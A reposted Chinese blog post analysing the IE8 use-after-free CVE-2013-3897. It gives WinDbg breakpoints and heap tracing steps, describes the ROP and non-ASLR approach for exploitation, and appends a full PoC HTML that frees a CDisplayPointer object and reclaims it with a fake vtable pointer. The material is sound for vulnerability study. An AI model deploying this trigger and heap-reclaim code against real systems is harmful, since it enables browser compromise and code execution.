CVE-2013-3897漏洞成因与利用分析

CVE-2013-3897漏洞成因与利用分析

1. 简介

  此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存。攻击者可以利用此类漏洞实现远程代码执行。UAF漏洞的根源源于对对象引用计数的处理不当,比如在编写程序时忘记AddRef或者多加了Release,最终导致对象的释放。对于IE的大部分对象(COM编程实现)来说,+4偏移处的含义是该对象的引用计数,可以通过跟踪它来定位补丁前后的位置及被释放的位置。+0偏移处的含义是该对象的虚函数表指针,可以通过它来改变程序执行流程。

 

2. 实验环境

  操作系统:Win7 SP1

  浏览器:IE8(补丁Windows6.1-KB2879017-x86前)

  漏洞编号:CVE-2013-3897

 

3. 漏洞分析

3.1. 分析Crash

3.1.1. 运行poc,查看crash

  看到crash原因是 call dword ptr [eax] 处引用了无效的内存空间。查看崩溃处的上下文。

  查看ebx,此时ebx==0031c094。查看函数调用回溯。

  ebx的值也是 mshtml!QIClassID 的第一个参数,mshtml!CDoc::ScrollPointerIntoView 的第二个参数;它是一个0x48大小的对象,也是释放后被重用的对象。

 

3.1.2. 分析相关代码上下文

  mshtml!CDoc::ScrollPointerIntoView,查看[ebp+0Ch]的变化(即函数的第二个参数,被释放的对象),有如下片段。

 

  在调用mshtml!QIClassID前又调用了mshtml!CDoc::GetLineInfo,因此接下来在mshtml!CDoc::ScrollPointerIntoView和call mshtml!CDoc::GetLineInfo处设置断点,分析参数二[ebp+0Ch]的状态。

 

3.2. 跟踪调试、分析漏洞成因

3.2.1. 调试工作准备

  开启gflags的Create user mode stack trace database功能(用于进行堆回溯)。

 

  在POC中加入如下用于跟踪执行流程的调试语句

    IE8下:Math.atan2(0x999, "[*] Before Unselect");

 

  设置以下断点,观察被释放的对象

    bu mshtml!CDoc::ScrollPointerIntoView

    bu CDoc::ScrollPointerIntoView+0x32

    bu CDoc::ScrollPointerIntoView+0x37

    bu jscript!JsAtan2 ".echo;.printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;.echo;"

 

3.2.2. 定位释放后重用的对象

  通过调试语句可以得知执行流程:执行godzilla.onpropertychange = fun_onpropertychange ;后立即触发了onpropertychange事件,调用fun_onpropertychange

  执行godzilla.select();后立即触发了onselect事件,调用fun_onselect;fun_onselect内部执行完swapNode后,会来到mshtml!CDoc::ScrollPointerIntoView。

  观察mshtml!CDoc::ScrollPointerIntoView的参数二[ebp+0Ch] == 046e85b4

  它是一个mshtml!CDisplayPointer对象,因此释放后重用的对象就是 CDisplayPointer ,它在select事件被触发时创建,创建过程如下(注意,这里的046e85b4,相对046e8580偏移为0x34;相对046e8598(UserPtr)的偏移为1c;1c/4=7)

   因此整个过程为godzilla.select();触发onselect事件,调用fun_onselect。在此过程中创建一个mshtml!CDisplayPointer对象,fun_onselect内部执行完swapNode后函数mshtml!CDisplayPointer::ScrollIntoView将要通过mshtml!CDisplayPointe对象来设置新的展示位置。

 

3.2.3. 跟踪对象释放过程

  后边来到mshtml!CDoc::ScrollPointerIntoView的call mshtml!CDoc::GetLineInfo处,此时CDisplayPointer 对象还未被释放。

  对这个对象(UserPtr)的释放过程设置断点:

    bu mshtml!CDisplayPointer::Release ".if ( poi(esp+0x4) == 046e8598 ){} .else{gc}"

    bu ntdll!RtlFreeHeap ".if ( poi(esp+0xc) == 046e8598 ){} .else{gc}"

 

  因为调用了swapNode,textarea的valueproperty被改变。随后onpropertychange事件被触发,调用fun_onpropertychange

    [*] Enter onpropertychange

    [*] Before Unselect

  document.execCommand("Unselect");的执行,导致了 CDisplayPointer 对象被释放,此时对象释放函数被触发,对象将被释放。

  (如果只对bu mshtml!CDisplayPointer::Release下断点,之后的几次mshtml!CDisplayPointer::Release:是对其他对象的解引用及释放。)

   通过对象释放的堆栈回溯可以看出,mshtml!CDisplayPointer::ScrollIntoView随后触发了onpropertychange事件,fun_onpropertychange内部的Unselect命令导致了对象的释放。

 

3.2.4. 内存占位及获取执行流程

  CDisplayPointer对象释放后立即对内存进行占位,通过对RtlAllocateHeap设置条件断点,可以定位内存占位。

  ntdll!RtlAllocateHeap+XXX(定位函数返回时eax的值,换成硬编码)

  77d92eb8 ".if (eax == 046e8598){} .else{gc}"

 

  然后来到下图所示

  此时对象已经被释放,并被占位。POC中对应的代码:war[i].className = data; 申请了17*4+2=70 (0x46) 最后有个\u0000终止符,因此总数是0x48。

  同时在POC中,在第八个4字节处设置伪造的虚函数表地址(因为0x046e85b4相对UserPtr的偏移为0x1C=4*7,相对堆块起始位置的偏移为0x34),从而控制执行流程。

  如果将POC中对应的代码设置为

 

  对后来的call mshtml!QIClassID下断点,[ebp+8]即指向释放后重新占位的对象

  其内部将索引对象的第一个虚函数,最终调用call dword ptr [eax]。此时eax为我们已经布置好的shellcode(最前面是伪造的虚函数表)的地址(即伪造的虚函数表的地址)。call dword ptr [eax]将调用其第一个虚函数。

 

4. 漏洞利用

  此UAF漏洞释放后重用的目标是对象的虚函数表,因此通过伪造虚函数表来获取执行流程。由于此漏洞的局限性,我们不能通过它来绕过ASLR只能在利用代码中,只能使用Java 6运行环境JRE1.6的msvcr71.dll(或其他non-ASLR模块)来绕过ASLR。也可以配合其他漏洞,获取模块基址及shellcode的地址来绕过ASLR。最终构造ROP绕过DEP,实现远程代码执行。

  通过non-ASLR模块绕过ASLR的过程比较简单,详见EXP代码。

 

5.  总结

  UAF漏洞的成因一般都是因为在编程过程中对引用计数的处理不当导致对象被释放后重用的。利用UAF漏洞实现远程代码执行,首先需要Bypass ASLR,获得模块基址及shellcode的地址(也可以通过堆喷射在指定内存空间布置shellcode),然后硬编码、动态构造ROP来Bypass DEP,最终实现任意代码的执行。

  不同的UAF漏洞利用方式会有不同,但是分析它们的流程基本一致。

 

6. 参考资料

[1] CVE-2013-3897漏洞分析:http://www.freebuf.com/articles/system/29445.html

[2] CVE-2013-3897样本分析学习笔记:http://www.91ri.org/7900.html

[3] CVE-2013-3897 UAF Analysis:http://thecjw.0ginr.com/blog/?p=187

 

7. 附录

7.1. poc.html

<html><head>
<script> var data = "";for (i=0; i<17; i++) 
{if (i==7) {data += unescape("%u2020%u2030"); //data += "\u4141\u4141";
    }else      {data += "\u4141\u4141";}
}
data += "\u4141";function butterfly() 
{for(i=0; i<20; i++){var effect = document.createElement("div");effect.className = data;}
}var battleStation = false;
var war = new Array();
var godzilla ;
var minilla ;
var battleStation = false;function fun_onselect()
{Math.atan2(0x999, "[*] Before swapNode");minilla.swapNode(document.createElement("div"));        // 调用swapNode,通过交换节点从页面布局删除textarea了,同时触发 onpropertychange 事件;Math.atan2(0x999, "[*] After swapNode");}// fun_onpropertychange第一次被调用时是因为改变了DOM,第二次调用是由swapNode导致的,立即进行内存占位
function fun_onpropertychange()
{    Math.atan2(0x999, "[*] Enter onpropertychange");if (battleStation == true){for (i=0; i<50; i++) {war.push(document.createElement("span"));}}Math.atan2(0x999, "[*] Before Unselect");document.execCommand("Unselect");        // 使用了document.execCommand("Unselect")命令撤销 select ,导致了CDisplayPointer对象被释放Math.atan2(0x999, "[*] After Unselect");if (battleStation == true)                // 对已经释放的CDisplayPointer内存进行占位
    {for (i=0; i < war.length; i++) {war[i].className = data;}}else{battleStation = true;}Math.atan2(0x999, "[*] Leave onpropertychange");
}function kaiju() 
{godzilla = document.createElement("textarea");        // Create a CTextArea Objectminilla = document.createElement("pre");document.body.appendChild(godzilla);document.body.appendChild(minilla);godzilla.appendChild(minilla);godzilla.onselect = fun_onselect ;                            // 给textarea元素设置 select 处理函数,当textarea文本框被选中时触发并调用处理函数
    Math.atan2(0x999, "[*] Before godzilla.onpropertychange");godzilla.onpropertychange = fun_onpropertychange ;            // 给textarea元素设置 onpropertychange 事件处理函数,当属性变化时触发调用Math.atan2(0x999, "[*] After godzilla.onpropertychange");//butterfly();Math.atan2(0x999, "[*] Before godzilla.select()");godzilla.select();                                            // 主动触发 select 处理函数Math.atan2(0x999, "[*] After godzilla.select()");}</script>
</head><body οnlοad='kaiju()'>
</body></html>
View Code

 

 

 

 

转载于:https://www.cnblogs.com/Danny-Wei/p/3766362.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/420895.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

(三)Neo4j自带northwind案例--Cypher语言应用

0、概述 通过该案例&#xff0c;应用Cypher查询语言&#xff0c;感受Neo4j套路。官方的用此案例的用意&#xff1a; The Northwind Graph demonstrates how to migrate&#xff08;迁移&#xff09; from a relational database to Neo4j&#xff08;把一个负责的多表关系数据…

RDIFramework.NET 中多表关联查询分页实例

RDIFramework.NET 中多表关联查询分页实例 RDIFramework.NET 中多表关联查询分页实例 RDIFramework.NET&#xff0c;基于.NET的快速信息化系统开发、整合框架&#xff0c;给用户和开发者最佳的.Net框架部署方案。该框架以SOA范式作为指导思想&#xff0c;作为异质系统整合与互操…

(六)Neo4j综合项目

0、概述 本文以热播电视剧《人民的名义》中的人物关系为数据基础&#xff0c;抛开案例本身的内容&#xff0c;本项目的意义在于指出使用Neo4j数据库的一般流程是什么&#xff1f;包括数据的导入、操作、查询、展示&#xff0c;从而体会出与传统数据库相比Neo4j在处理图数据的巨…

过滤器filter,监听器listener

目录1. filter过滤器1.1 原理1.2 配置1.3 过滤掉脏话demo2. listener监听器2.1 作用2.2 ServletContextListener demo1. filter过滤器 作用:过滤servlet&#xff0c;jsp&#xff0c;js&#xff0c;css&#xff0c;图片对象&#xff0c;以及一切在服务器&#xff0c;客户端想访…

(一)elasticsearch6.1.1安装详细过程

1、配置java环境 检查java环境 满足elasticsearch6.1.1java环境要求&#xff1b; 2、安装ElasticSearch6.1.1 ①为es新生成用户、用户组 su root groupadd esgroup useradd ela -g esgroup -p 5tgbhu8[rootlocalhost fibonacci]# su ela Attempting to create directory /h…

使用jdk DOM,SAX和第三方jar包DOM4J创建,解析xml文件

xml的创建&#xff0c;解析1. 什么是xml文件1.1 什么是xml文件1.2 解析xml的方式&#xff0c;优缺点2. 使用dom操作xml文件2.1 使用dom创建xml文件2.2 使用dom解析xml文件2.3 使用dom对xml文件增删改3. 使用SAX解析xml文件4. 使用DOM4J操作xml文件4.1 使用DOM4J创建xml文件4.2 …

(二)ElasticSearch6.1.1 Python API

0、准备开启数据库 ① 关闭Linux防火墙&#xff0c;这个很重要&#xff0c;否则API总是报错连不上。 # 查看防火墙状态 firewall-cmd --state# 关闭防护墙 systemctl stop firewalld.service# 开启防火墙 systemctl start firewalld.service# 重启防火墙 systemctl restart f…

sqlite3数据库使用

SQLite简介 SQLite是一个软件库&#xff0c;实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。SQLite是一个增长最快的数据库引擎&#xff0c;这是在普及方面的增长&#xff0c;与它的尺寸大小无关。SQLite 源代码不受版权限制。 什么是sqlite SQLite是一…

(三)ElasticSearch的基本概念

0、面向文档 应用中的对象很少只是简单的键值列表&#xff0c;更多时候它拥有复杂的数据结构&#xff0c;比如包含日期、地理位置、另一个对象或者数组。 总有一天你会想到把这些对象存储到数据库中。将这些数据保存到由行和列组成的关系数据库中&#xff0c;就好像是把一个丰…

ajax下拉框省市级联动

目录效果sql数据前后台代码实现效果 初始访问页面 选中省会&#xff0c;自动刷新页面 sql数据 -- 省市联动数据CREATE TABLE PROVINCE (PID NUMBER PRIMARY KEY,PNAME VARCHAR(20) NOT NULL )SELECT * FROM PROVINCEINSERT INTO province VALUES (1, 北京市); INSERT I…

python的with关键字

with语句适用于对资源进行访问的场合&#xff0c;确保不管使用过程中是否发生异常都会执行必要的“清理”操作&#xff0c;释放资源&#xff0c;比如文件使用后自动关闭、线程中锁的自动获取和释放等。with表达式其实是try-finally的简写形式。但是又不是全相同。 ""…

pgm2

MRF 笔记 我们先讨论引入 MRF 的必要性。经典的例子就是四个 r.v.s 连成一个正方形的结构的时候&#xff0c;我们没法通过 BN 获得给定对角线两个 r.v.s 而剩下的条件独立&#xff08;不都是 d-sep&#xff09;&#xff0c;反过来如果希望通过 MRF 刻画某些 BN 也是不可行的&am…

(六)ElasticSearch 6.1.1聚合查询

1 普通类型 1.1 基本操作 1.1.1 导入实战数据 数据字段如下&#xff1a; 字段类型作用pricelong汽车售价colortext汽车颜色maketext汽车品牌solddate销售日期 # 创建索引 PUT /cars {"mappings" : {"transactions" : {"properties" : {"…

12 Essential Bootstrap Tools for Web Designers

12 Essential Bootstrap Tools for Web Designers Posted by vikas on June 6, 2014, filed in: Tools, Web Design 原文地址&#xff1a;http://designzum.com/2014/06/06/12-best-bootstrap-tools-for-web-designers/Bootstrap is a great front end website development pla…

Sublime Text3自定义快捷键

转载于:https://www.cnblogs.com/shimily/articles/3783711.html